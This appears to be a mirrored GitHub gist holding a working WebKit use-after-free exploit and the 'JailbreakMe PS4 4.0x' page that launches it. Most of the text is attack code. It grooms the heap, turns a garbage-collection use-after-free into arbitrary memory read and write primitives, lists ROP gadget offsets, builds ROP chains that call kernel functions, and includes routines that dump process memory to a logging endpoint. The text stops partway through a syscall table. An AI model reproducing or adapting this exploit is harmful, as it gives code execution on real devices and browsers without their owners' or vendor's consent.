-
-
Save X41/36acd2a6939e4cebbecba45d35bf0d75 to your computer and use it in GitHub Desktop.
rce.party/ps4 mirror 1491183203
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _dview; | |
function u2d(low, hi) { | |
if (!_dview) _dview = new DataView(new ArrayBuffer(16)); | |
_dview.setUint32(0, hi); | |
_dview.setUint32(4, low); | |
return _dview.getFloat64(0); | |
} | |
function zeroFill( number, width ) | |
{ | |
width -= number.toString().length; | |
if ( width > 0 ) | |
{ | |
return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number; | |
} | |
return number + ""; // always return a string | |
} | |
function int64(low,hi) { | |
this.low = (low>>>0); | |
this.hi = (hi>>>0); | |
this.add32inplace = function(val) { | |
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; | |
var new_hi = (this.hi >>> 0); | |
if (new_lo < this.low) { | |
new_hi++; | |
} | |
this.hi=new_hi; | |
this.low=new_lo; | |
} | |
this.add32 = function(val) { | |
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; | |
var new_hi = (this.hi >>> 0); | |
if (new_lo < this.low) { | |
new_hi++; | |
} | |
return new int64(new_lo, new_hi); | |
} | |
this.sub32 = function(val) { | |
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; | |
var new_hi = (this.hi >>> 0); | |
if (new_lo > (this.low) & 0xFFFFFFFF) { | |
new_hi--; | |
} | |
return new int64(new_lo, new_hi); | |
} | |
this.sub32inplace = function(val) { | |
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; | |
var new_hi = (this.hi >>> 0); | |
if (new_lo > (this.low) & 0xFFFFFFFF) { | |
new_hi--; | |
} | |
this.hi=new_hi; | |
this.low=new_lo; | |
} | |
this.and32 = function(val) { | |
var new_lo = this.low & val; | |
var new_hi = this.hi; | |
return new int64(new_lo, new_hi); | |
} | |
this.and64 = function(vallo, valhi) { | |
var new_lo = this.low & vallo; | |
var new_hi = this.hi & valhi; | |
return new int64(new_lo, new_hi); | |
} | |
this.toString = function(val) { | |
val = 16; // eh | |
var lo_str = (this.low >>> 0).toString(val); | |
var hi_str = (this.hi >>> 0).toString(val); | |
if(this.hi == 0) return lo_str; | |
else { | |
lo_str = zeroFill(lo_str, 8) | |
} | |
return hi_str+lo_str; | |
} | |
this.toPacked = function() { | |
return {hi: this.hi, low: this.low}; | |
} | |
this.setPacked = function(pck) { | |
this.hi=pck.hi; | |
this.low=pck.low; | |
return this; | |
} | |
return this; | |
} | |
var pressure = new Array(400); | |
var dgc = function() { | |
for (var i = 0; i < pressure.length; i++) { | |
pressure[i] = new Uint32Array(0x10000); | |
} | |
for (var i = 0; i < pressure.length; i++) { | |
pressure[i] = 0; | |
} | |
} | |
var frame_arr = []; | |
var frame_idx = 0; | |
var peek_val = 0; | |
function peek_stack() { | |
var ret_val = undefined; | |
var retno = 0xffff; | |
arguments.length = { valueOf: | |
function() { | |
var _retno = retno; | |
retno = 1; | |
return _retno; | |
} | |
}; | |
var args = arguments; | |
(function() { | |
(function() { | |
(function() { | |
ret_val = arguments[0xff00]; | |
}).apply(null, args); | |
}).apply(null, frame_arr); | |
}).apply(null, frame_arr); | |
peek_val = ret_val; | |
return ret_val; | |
} | |
function poke_stack(val) { | |
frame_arr[frame_idx] = val; | |
(function() { | |
(function() { | |
(function() { | |
}).apply(null, frame_arr); | |
}).apply(null, frame_arr); | |
}).apply(null, frame_arr); | |
frame_arr[frame_idx] = "LOL"; | |
} | |
function go() { | |
try { | |
for (var i=0; i < 0xffff; i++) | |
{ | |
frame_arr[i] = i; | |
} | |
frame_idx = 0; | |
poke_stack(0); | |
if (peek_stack() == undefined) { | |
alert ('not vulnerable'); | |
return; | |
} | |
// Primitives are peek/poke to stack. | |
// Idea is we store a value in a stack frame, then later use uninitialized mem access to retreive it. | |
// However, if we trigger a GC run inbetween, it'll detect the object as non-existing, thus allowing UaF. | |
frame_idx = 0; | |
poke_stack(0); | |
peek_stack(); | |
frame_idx = peek_val; | |
poke_stack(0x4141); | |
for (var k=0; k < 8; k++) | |
(function(){})(); | |
peek_stack(); | |
if (peek_val != 0x4141) | |
{ | |
alert('couldnt align to stack'); | |
return; | |
} | |
var uaf_replacement = new Array(0x1000); | |
for (var i = 0; i < 0x1000; i++) | |
{ | |
uaf_replacement[i] = []; | |
for (var k = 0; k < 0x40; k++) { | |
uaf_replacement[i][k] = 0x84749310; | |
} | |
uaf_replacement[i].unshift(uaf_replacement[i].shift()); // ensure ArrayStorage | |
} | |
var uaf_hold = new Array(0x100); | |
for (var i = 0; i < 0x100; i++) | |
{ | |
uaf_hold[i] = [1]; | |
if ( !(i & 3) ) { // 1 Vector for every 3 ArrayStorage | |
for (var k = 0; k < 0x40; k++) { | |
uaf_hold[i][k] = 0x84749310; | |
} | |
} | |
uaf_hold[i].unshift(uaf_hold[i].shift()); // ensure ArrayStorage | |
} // poke holes n shit | |
var uaf_hold1 = new Array(0x400); | |
for (var i = 0; i < 0x400; i++) | |
{ | |
uaf_hold1[i] = [1]; | |
if ( !(i & 3) ) { // 1 Vector for every 3 ArrayStorage | |
for (var k = 0; k < 0x80; k++) { | |
uaf_hold1[i][k] = 0x84749310; | |
} | |
} | |
uaf_hold1[i].unshift(uaf_hold1[i].shift()); // ensure ArrayStorage | |
} // poke holes n shit | |
var uaf_target = []; // no arraystorage | |
for (var i = 0; i < 0x80; i++) { | |
uaf_target[i] = 0x42420000; | |
} | |
poke_stack(uaf_target); // store uaf_target in stack | |
uaf_target = 0; // remove reference | |
uaf_hold1 = 0; // remove reference | |
uaf_hold = 0; | |
for (var k=0; k < 4; k++) | |
dgc(); // run GC | |
peek_stack(); // read stored reference | |
uaf_target = peek_val; | |
peek_val = 0; | |
for (var i = 0; i < 0x1000; i++) | |
{ | |
for (var k = 0x0; k < 0x80; k++) | |
{ | |
uaf_replacement[i][k] = 0x7fffffff; | |
if (uaf_target.length == 0x7fffffff) | |
{ | |
var yi = i; | |
for (var i = 0; i < yi; i++) | |
{ | |
uaf_replacement[i] = 0; | |
} | |
for (var i = yi+1; i < 0x1000; i++) | |
{ | |
uaf_replacement[i] = 0; | |
} | |
dgc(); | |
var later = new Array(0x20000); | |
var buf = new ArrayBuffer(0x1000); | |
for (var i = 0; i < 0x20000; i++) | |
{ | |
later[i] = i; | |
} | |
var overlap = new Array(0x80); | |
for (var i = 0; i < 0x20000; i++) | |
{ | |
later[i] = new Uint32Array(buf); | |
} | |
var curi = 0x10000; | |
var found = 0; | |
var smashedButterfly = new int64(0,0); | |
var origData = new int64(0, 0); | |
var locateHelper = new int64(0, 0); | |
while (!found) { // Search for an Uint32Array | |
/* | |
Strategy: | |
-> We have heap buffer overflow in butterfly access on uaf_target | |
-> We can try to alter each quadword into 0x1337, check if any Uint32Array changed it's length | |
-> If it did, we can now copy an Array into m_baseAddress one and leak it's butterfly to later leak jsvalues | |
-> Next up we copy prevView into m_baseAddress | |
-> We now have a master/slave pair of Uint32Arrays. | |
-> We now have the ability to read and write anywhere, plus we hold a pointer to an array's Butterfly, allowing to turn JS objects into pointers and back. | |
*/ | |
var sv = uaf_target[curi]; | |
uaf_target[curi] = 0x1337; | |
for (var i = 0; i < 0x20000; i++) | |
{ | |
if (later[i] && later[i].byteLength != 0x1000) | |
{ | |
uaf_target[curi] = sv; | |
var smashed = later[i]; | |
var overlap = [1337]; | |
uaf_target[curi - 5] = overlap; | |
smashedButterfly.low=smashed[2]; | |
smashedButterfly.hi=smashed[3]; | |
smashedButterfly.keep_gc = overlap; | |
uaf_target[curi - 5] = uaf_target[curi - 2]; // m_baseAddress = prev view | |
uaf_replacement[yi][k] = 0; | |
origData.low=smashed[4]; | |
origData.hi=smashed[5]; | |
smashed[4] = smashed[12]; | |
smashed[5] = smashed[13]; | |
smashed[14] = 0x40; | |
var slave = undefined; | |
for (var k = 0; k < 0x20000; k++) | |
{ | |
if (later[k].length == 0x40) | |
{ | |
slave = later[k]; | |
break; | |
} | |
} | |
if(!slave) throw new Error("couldn't find slave"); | |
smashed[4] = smashedButterfly.low; | |
smashed[5] = smashedButterfly.hi; | |
overlap[0] = uaf_target; | |
var uaf_target_entry = new int64(slave[0], slave[1]); | |
smashed[4] = uaf_target_entry.low; | |
smashed[5] = uaf_target_entry.hi; | |
slave[2]=0; | |
slave[3]=0; | |
uaf_target = 0; | |
later = null; | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
// derive primitives | |
var leakval = function(obj) { | |
smashed[4] = smashedButterfly.low; | |
smashed[5] = smashedButterfly.hi; | |
overlap[0] = obj; | |
var val = new int64(slave[0], slave[1]); | |
slave[0] = 1337; | |
slave[1] = 0xffff0000; | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
return val; | |
} | |
var createval = function(val) { | |
smashed[4] = smashedButterfly.low; | |
smashed[5] = smashedButterfly.hi; | |
slave[0] = val.low; | |
slave[1] = val.hi; | |
var val = overlap[0]; | |
slave[0] = 1337; | |
slave[1] = 0xffff0000; | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
return val; | |
} | |
var read4 = function(addr) { | |
smashed[4] = addr.low; | |
smashed[5] = addr.hi; | |
var val = slave[0]; | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
return val; | |
} | |
var write4 = function(addr, val) { | |
smashed[4] = addr.low; | |
smashed[5] = addr.hi; | |
slave[0] = val; | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
} | |
var read8 = function(addr) { | |
smashed[4] = addr.low; | |
smashed[5] = addr.hi; | |
var val = new int64(slave[0],slave[1]); | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
return val; | |
} | |
var write8 = function(addr, val) { | |
smashed[4] = addr.low; | |
smashed[5] = addr.hi; | |
if (val == undefined) { | |
val = new int64(0,0); | |
} | |
if (!(val instanceof int64)) { | |
val = new int64(val,0); | |
} | |
slave[0] = val.low; | |
slave[1] = val.hi; | |
smashed[4] = origData.low; | |
smashed[5] = origData.hi; | |
} | |
if (createval(leakval(0x1337)) != 0x1337) { | |
throw new Error("invalid leak/create val behaviour"); | |
} | |
var test = [1,2,3,4,5,6,7,8]; | |
var test_addr = leakval(test); | |
var butterfly_addr = read8(test_addr.add32(8)); | |
if ((butterfly_addr.low == 0 && butterfly_addr.hi == 0) || createval(read8(butterfly_addr)) != 1) { | |
throw new Error("broken read primitive"); | |
} | |
if (window.postexploit) { | |
window.postexploit({ | |
read4: read4, | |
read8: read8, | |
write4: write4, | |
write8: write8, | |
leakval: leakval, | |
createval: createval | |
}); | |
} | |
document.getElementById("clck").innerHTML = 'done'; | |
return 2; | |
} | |
} | |
uaf_target[curi] = sv; | |
curi ++; | |
} | |
alert("done!"); | |
} | |
} | |
} | |
return 1; | |
} catch (e) { alert(e); } | |
} | |
window.onload = function () { | |
document.getElementById("clck").innerHTML = '<a href="javascript:go()">go</a>'; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>JailbreakMe PS4 4.0x</title> | |
<meta name="viewport" content="user-scalable=1.0,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0"> | |
<meta name="apple-mobile-web-app-capable" content="no"> | |
<meta name="format-detection" content="telephone=no"> | |
<link rel="apple-touch-icon" href="touch-icon-iphone.png"> | |
<meta name="apple-mobile-web-app-title" content="JailbreakMe" /> | |
<style> | |
body { | |
overflow: hidden; | |
position: fixed; | |
position: relative; | |
} | |
h1{ | |
overflow: hidden; | |
position: fixed; | |
position: absolute; | |
top: 40%; | |
left: 50%; | |
transform: translate(-50%, -50%); | |
} | |
footer { | |
position: absolute; | |
left: 0; | |
bottom: 0; | |
height: 40px; | |
width: 100%; | |
overflow:hidden; | |
} | |
</style> | |
</head> | |
<body> | |
<script> | |
// 0x0000000000005863 : mov rax, rdi ; ret | |
// 0x0000000000852624 : mov rdi, qword ptr [rdi + 0x18] ; mov rax, qword ptr [rdi] ; mov rax, qword ptr [rax + 0x30] ; jmp rax | |
// 0x000000000020aeb0 : pop rsp ; ret | |
// 0x000000000043cf70 : mov qword ptr [rdi], rsi ; ret | |
// 0x000000000010f1c1 : pop rdi ; ret | |
// 0x00000000000a459e : pop rsi ; ret | |
// 0x000000000001d70b : pop rax ; ret | |
/* | |
0x00000000001a41d6 : mov rdi, rax ; jmp rcx | |
0x0000000000eb5fc1 : pop r10 ; ret | |
0x0000000000eb5fd1 : pop r11 ; ret | |
0x000000000042f1b1 : pop r12 ; ret | |
0x00000000002cb954 : pop r14 ; ret | |
0x000000000010f1c0 : pop r15 ; ret | |
0x000000000001d70a : pop r8 ; ret | |
0x0000000000eb5f8f : pop r9 ; ret | |
0x000000000001d70b : pop rax ; ret | |
0x00000000000000c7 : pop rbp ; ret | |
0x00000000000950b5 : pop rbx ; ret | |
0x000000000025ef03 : pop rcx ; ret | |
0x000000000010f1c1 : pop rdi ; ret | |
0x0000000000001d12 : pop rdx ; ret | |
0x00000000000a459e : pop rsi ; ret | |
0x000000000020aeb0 : pop rsp ; ret | |
this.fcall = function (rip, rdi, rsi, rdx, r10, r8, r9) | |
0x000000000011add7 : mov qword ptr [rdi], rax ; ret | |
*/ | |
window.gadgets = { | |
"pop rsi": 0xa459e, | |
"pop rdi": 0x10f1c1, | |
"mov [rdi], rsi": 0x43cf70, | |
"pop rsp": 0x20aeb0, | |
"setjmp": 0x270, // function stub actually | |
"mov rax, rdi": 0x5863, | |
"jop1": 0x852624, | |
"infloop": 0x45A11, // unused | |
"pop rax": 0x1d70b, | |
"pop rdx": 0x1d12, | |
"pop r8": 0x1d70a, | |
"pop r9": 0xeb5f8f, | |
"pop rcx": 0x25ef03, | |
"pop r10": 0xeb5fc1, | |
"mov [rdi], rax": 0x11add7, | |
"sceKernelLoadStartModule": 0x27380, // dump libkernel using the stack_chk_fail pointer to find base, then look for _sceKernelLoadStartModule | |
"got_entry_stack_chk_fail": 0x273D260 // pointer to pointer to stack_chk_fail -> look at epilogs to find this | |
} | |
window.postexploit = function(p) | |
{ | |
document.getElementById("clck").style.display = 'none'; | |
var hexdump = function(address, size) { | |
var ret = "\nHex Dump of 0x" + address + ": \n"; | |
var addr_copy = address.add32(0); | |
for (var i = 0; i < size/8; i++) | |
{ | |
var rd = p.read8(addr_copy.add32(i*8)); | |
ret += "<a href='javascript:window.printdump(" + rd.low.toString() + ", " + rd.hi.toString() + ")'>0x" + rd.toString(16) + "</a>\n"; | |
} | |
return ret; | |
}; | |
var print = function(string) { | |
document.getElementById("console").innerHTML += string + "\n"; | |
} | |
var xhr_sync_log = function(str) { | |
var req = new XMLHttpRequest(); | |
req.open('GET', "log?" + str, false); | |
try { | |
req.send(); | |
} catch(e){} | |
} | |
window.printdump = function(a,b) { | |
print(hexdump(new int64(a,b), 96)); | |
} | |
print(" === exploit succeeded === "); | |
p.leakfcn = function(smashfcn) { | |
var smashobj = p.leakval(smashfcn); | |
var smashbase = p.read8(smashobj.add32(0x18)); | |
return smashbase.add32(0x20); | |
} | |
var fcnptr = p.read8(p.leakfcn(parseFloat)); | |
print("leaked parseFloat at 0x" + fcnptr); | |
var webKitBase = fcnptr.add32(0); // copy | |
webKitBase.low &= ~0xFFF; | |
webKitBase.sub32inplace(0x55000); | |
if (p.read4(webKitBase.add32(window.gadgets["jop1"])) != 0x187f8b48) | |
{ | |
print("exploit successful but gadgets are incompatible with this version"); | |
return; | |
} | |
var libSceKernel = p.read8(webKitBase.add32(window.gadgets["got_entry_stack_chk_fail"])); | |
libSceKernel.low &= ~0xFFF; | |
libSceKernel.sub32inplace(0xd000); | |
print("webKit base at 0x" + webKitBase); | |
print("libSceKernel base at 0x" + libSceKernel); | |
// 48 8B 7F 18 48 8B 07 48 8B 40 30 FF E0 | |
var findModuleBaseXHR = function(addr) | |
{ | |
var addr_ = addr.add32(0); // copy | |
addr_.low &= ~0xFFF; | |
while (1) { | |
xhr_sync_log("reading " + addr_); | |
p.read4(addr_); | |
addr_.sub32inplace(0x1000); | |
} | |
} | |
var dumpModuleXHR = function(moduleBase) { | |
var chunk = new ArrayBuffer(0x200); | |
var chunk32 = new Uint32Array(chunk); | |
var chunk8 = new Uint8Array(chunk); | |
function bufferToBase64(buf) { | |
var binstr = Array.prototype.map.call(buf, function (ch) { | |
return String.fromCharCode(ch); | |
}).join(''); | |
return btoa(binstr); | |
} | |
var moduleBase_ = moduleBase.add32(0); // copy | |
while (1) { | |
var sendmsg = ""; | |
for (var i = 0; i < chunk32.length; i++) | |
{ | |
var val = p.read4(moduleBase_); | |
chunk32[i] = val; | |
moduleBase_.add32inplace(4); | |
} | |
xhr_sync_log(bufferToBase64(chunk8)); | |
} | |
} | |
var fptr_store = p.leakfcn(parseFloat); | |
var argz = []; | |
for (var i = 0; i < 0x7fff; i++) argz[i] = 0x41410000|i; | |
var argbuf = new Uint32Array(0x1000); | |
var argptr = p.read8(p.leakval(argbuf).add32(0x28)); | |
argbuf[0] = 0x13371337; | |
if (p.read4(argptr) != 0x13371337) throw new Error("Uint32Array struct layout not recognized :("); | |
window.dont_tread_on_me = [argbuf]; | |
p.loadchain = function(chain) | |
{ | |
var stackPointer = 0; | |
var stackCookie = 0; | |
var orig_reenter_rip = 0; | |
var reenter_help = {length: {valueOf: function(){ | |
orig_reenter_rip = p.read8(stackPointer); | |
var returnToFrame = stackPointer; | |
var ocnt = chain.count; | |
chain.push_write8(stackPointer, orig_reenter_rip); | |
chain.push_write8(stackPointer.add32(8), stackCookie); | |
if (chain.runtime) returnToFrame=chain.runtime(stackPointer); | |
chain.push(webKitBase.add32(window.gadgets["pop rsp"])); // pop rsp | |
chain.push(returnToFrame); // -> back to the trap life | |
chain.count = ocnt; | |
p.write8(stackPointer, webKitBase.add32(window.gadgets["pop rsp"])); // pop rsp | |
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame | |
return 0; | |
}}}; | |
return (function(){ | |
(function(){}).apply(null, argz); // clear frame | |
var orig = p.read8(fptr_store); | |
p.write8(fptr_store, webKitBase.add32(window.gadgets["mov rax, rdi"])); // leak frame | |
var trap = p.leakval(parseFloat()); | |
var rtv = 0; | |
var fakeval = new int64(0x41414141, 0xffff0000); | |
(function(){ | |
var val = p.read8(trap.add32(0x100)); | |
if ((val.hi != 0xffff0000) || ((val.low & 0xFFFF0000) != 0x41410000)) | |
{ | |
throw new Error("rip stack frame"); | |
} | |
}).apply(null, argz); | |
p.write8(argptr, argptr.add32(0x100)); // write vtable | |
p.write8(argptr.add32(0x130), webKitBase.add32(window.gadgets["setjmp"])); // setjmp | |
p.write8(fptr_store, webKitBase.add32(window.gadgets["jop1"])); // gadget 1 | |
(function(){}).apply(null, argz); // clear frame | |
p.write8(trap.add32(0x18), argptr); // write to frame | |
p.leakval(parseFloat()); // call setjmp | |
stackPointer = p.read8(argptr.add32(0x10)); | |
stackCookie = p.read8(stackPointer.add32(8)); | |
rtv=Array.prototype.splice.apply(reenter_help); | |
p.write8(trap.add32(0x18), fakeval); // write to frame | |
p.write8(trap.add32(0x18), orig); // write to frame | |
return p.leakval(rtv); | |
}).apply(null, argz); | |
} | |
var RopChain = function () { | |
this.ropframe = new Uint32Array(0x1000); | |
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x28)); | |
this.count = 0; | |
this.clear = function() { | |
this.count = 0; | |
this.runtime = undefined; | |
for (var i = 0; i < 0xff0/2; i++) | |
{ | |
p.write8(this.ropframeptr.add32(i*8), 0); | |
} | |
}; | |
this.pushSymbolic = function() { | |
this.count++; | |
return this.count-1; | |
} | |
this.finalizeSymbolic = function(idx, val) { | |
p.write8(this.ropframeptr.add32(idx*8), val); | |
} | |
this.push = function(val) { | |
this.finalizeSymbolic(this.pushSymbolic(), val); | |
} | |
this.push_write8 = function(where, what) | |
{ | |
this.push(webKitBase.add32(window.gadgets["pop rdi"])); // pop rdi | |
this.push(where); // where | |
this.push(webKitBase.add32(window.gadgets["pop rsi"])); // pop rsi | |
this.push(what); // what | |
this.push(webKitBase.add32(window.gadgets["mov [rdi], rsi"])); // perform write | |
} | |
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) | |
{ | |
this.push(webKitBase.add32(window.gadgets["pop rdi"])); // pop rdi | |
this.push(rdi); // what | |
this.push(webKitBase.add32(window.gadgets["pop rsi"])); // pop rsi | |
this.push(rsi); // what | |
this.push(webKitBase.add32(window.gadgets["pop rdx"])); // pop rdx | |
this.push(rdx); // what | |
this.push(webKitBase.add32(window.gadgets["pop rcx"])); // pop r10 | |
this.push(rcx); // what | |
this.push(webKitBase.add32(window.gadgets["pop r8"])); // pop r8 | |
this.push(r8); // what | |
this.push(webKitBase.add32(window.gadgets["pop r9"])); // pop r9 | |
this.push(r9); // what | |
this.push(rip); // jmp | |
return this; | |
} | |
this.run = function() { | |
var retv = p.loadchain(this); | |
this.clear(); | |
return retv; | |
} | |
return this; | |
}; | |
window.nogc = []; | |
var scratchbuf = new Uint8Array(0x1000); | |
var scratch = p.read8(p.leakval(scratchbuf).add32(0x28)); | |
window.nogc.push(scratchbuf); | |
p.sptr = function(str) { | |
var bufView = new Uint8Array(str.length+1); | |
for (var i=0; i<str.length; i++) { | |
bufView[i] = str.charCodeAt(i) & 0xFF; | |
} | |
window.nogc.push(bufView); | |
return p.read8(p.leakval(bufView).add32(0x28)); | |
}; | |
p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) { | |
var chain = new RopChain(); | |
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); | |
chain.push(webKitBase.add32(window.gadgets["pop rdi"])); // pop rdi | |
chain.push(chain.ropframeptr.add32(0x3ff8)); // where | |
chain.push(webKitBase.add32(window.gadgets["mov [rdi], rax"])); // rdi = rax | |
chain.push(webKitBase.add32(window.gadgets["pop rax"])); // pop rax | |
chain.push(p.leakval(0x41414242)); // where | |
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour"); | |
return p.read8(chain.ropframeptr.add32(0x3ff8)); | |
} | |
window.syscalls = {1: 0x26D0, 2: 0x2830, 3: 0x25F0, 4: 0x2730, 5: 0x2570, 6: 0x24D0, 7: 0x2710, 10: 0x0690, 12: 0x06B0, 15: 0x06D0, 20: 0x06F0, 23: 0x0710, 24: 0x0730, 25: 0x0750, 27: 0x2650, 28: 0x2690, 29: 0x2630, 30: 0x2490, 31: 0x0770, 32: 0x0790, 33: 0x07B0, 34: 0x07D0, 35: 0x07F0, 36: 0x0810, 37: 0x0830, 39: 0x0870, 41: 0x08B0, 42: 0x05F0, 43: 0x08D0, 44: 0x08F0, 47: 0x0910, 49: 0x26F0, 50: 0x0640, 53: 0x0950, 54: 0x0970, 55: 0x0620, 56: 0x0990, 59: 0x059D, 59: 0x09B0, 65: 0x2530, 73: 0x09F0, 74: 0x0A10, 75: 0x0A30, 78: 0x0A50, 79: 0x0A70, 80: 0x0A90, 83: 0x0AB0, 86: 0x0AD0, 89: 0x0AF0, 90: 0x0B10, 92: 0x0B30, 93: 0x2670, 95: 0x2510, 96: 0x0B50, 97: 0x0B70, 98: 0x24F0, 99: 0x0B90, 100: 0x0BB0, 101: 0x0BD0, 102: 0x0BF0, 104: 0x0C10, 105: 0x0C30, 106: 0x0C50, 113: 0x0C70, 114: 0x0C90, 116: 0x0CB0, 117: 0x0CD0, 118: 0x0CF0, 120: 0x2610, 121: 0x2750, 122: 0x0D10, 124: 0x0D30, 125: 0x0D50, 126: 0x0D70, 127: 0x0D90, 128: 0x0DB0, 131: 0x0DD0, 133: 0x26B0, 134: 0x0DF0, 135: 0x0E10, 136: 0x0E30, 137: 0x0E50, 138: 0x0E70, 140: 0x0E90, 141: 0x0EB0, 147: 0x0F10, 165: 0x0F70, 182: 0x0F90, 183: 0x0FB0, 188: 0x0850, 189: 0x09D0, 190: 0x0890, 191: 0x0FD0, 192: 0x0FF0, 194: 0x0ED0, 195: 0x0EF0, 196: 0x0F30, 202: 0x1010, 203: 0x1030, 204: 0x1050, 206: 0x1070, 209: 0x25B0, 232: 0x1090, 233: 0x10B0, 234: 0x10D0, 235: 0x10F0, 236: 0x1110, 237: 0x1130, 238: 0x1150, 239: 0x1170, 240: 0x2550, 251: 0x0470, 253: 0x1190, 272: 0x11B0, 289: 0x11D0, 290: 0x11F0, 310: 0x1210, 315: 0x24B0, 324: 0x1230, 325: 0x1250, 327: 0x1270, 328: 0x1290, 329: 0x12B0, 330: 0x12D0, 331: 0x12F0, 332: 0x1310, 333: 0x1330, 334: 0x1350, 340: 0x2890, 340: 0x2933, 341: 0x28B0, 343: 0x0930, 345: 0x28D0, 346: 0x28F0, 362: 0x1390, 363: 0x13B0, 379: 0x13D0, 392: 0x13F0, 393: 0x1370, 397: 0x0F50, 400: 0x1410, 401: 0x1430, 402: 0x1450, 403: 0x1470, 404: 0x1490, 405: 0x14B0, 406: 0x14D0, 407: 0x14F0, 408: 0x1510, 416: 0x2870, 417: 0x0670, 421: 0x05C4, 422: 0x2850, 423: 0x2910, 429: 0x1530, 430: 0x1550, 431: 0x1570, 432: 0x1590, 433: 0x15B0, 434: 0x15D0, 435: 0x15F0, 441: 0x1610, 442: 0x1630, 443: 0x1650, 444: 0x1670, 454: 0x1690, 454: 0x29C0, 455: 0x16B0, 456: 0x16D0, 464: 0x16F0, 466: 0x1710, 475: 0x27D0, 476: 0x27F0, 477: 0x27B0, 478: 0x2790, 479: 0x2810, 480: 0x2770, 481: 0x1730, 482: 0x1750, 483: 0x1770, 486: 0x1790, 487: 0x17B0, 488: 0x17D0, 499: 0x2590, 522: 0x25D0, 532: 0x17F0, 533: 0x1810, 534: 0x1830, 535: 0x1850, 536: 0x1870, 538: 0x1890, 539: 0x18B0, 540: 0x18D0, 541: 0x18F0, 542: 0x1910, 543: 0x1930, 544: 0x1950, 545: 0x1970, 546: 0x1990, 547: 0x19B0, 548: 0x19D0, 549: 0x19F0, 550: 0x1A10, 551: 0x1A30, 552: 0x1A50, 553: 0x1A70, 554: 0x1A90, 555: 0x1AB0, 556: 0x1AD0, 557: 0x1AF0, 558: 0x1B10, 559: 0x1B30, 560: 0x1B50, 563: 0x1B70, 564: 0x1B90, 565: 0x1BB0, 566: 0x1BD0, 567: 0x1BF0, 572: 0x1C10, 580: 0x1C30, 581: 0x1C50, 582: 0x1C70, 583: 0x1C90, 584: 0x1CB0, 585: 0x1CD0, 586: 0x1CF0, 587: 0x1D10, 588: 0x1D30, 591: 0x1D50, 592: 0x1D70, 593: 0x1D90, 594: 0x1DB0, 595: 0x1DD0, 596: 0x1DF0, 598: 0x1E10, 599: 0x1E30, 600: 0x1E50, 601: 0x1E70, 602: 0x1E90, 603: 0x1EB0, 604: 0x1ED0, 605: 0x1EF0, 606: 0x1F10, 607: 0x1F30, 608: 0x1F50, 610: 0x1F70, 611: 0x1F90, 612: 0x1FB0, 613: 0x1FD0, 615: 0x1FF0, 616: 0x2010, 617: 0x2030, 618: 0x2050, 619: 0x2070, 620: 0x2090, 622: 0x20B0, 623: 0x20D0, 624: 0x20F0, 625: 0x2110, 626: 0x2130, 627: 0x2150, 628: 0x2170, 629: 0x2190, 630: 0x21B0, 632: 0x21D0, 633: 0x21F0, 634: 0x2210, 635: 0x2230, 636: 0x2250, 637: 0x2270, 638: 0x2290, 639: 0x22B0, 640: 0x22D0, 641: 0x22F0, 642: 0x2310, 643: 0x2330, 644: 0x2350, 646: 0x2370, 647: 0x2390, 648: 0x23B0, 649: 0x23D0, 652: 0x23F0, 653: 0x2410, 654: 0x2430, 655: 0x2450, 656: 0x2470}; // not 100% correct but heh | |
window.syscallnames = {"sys_exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 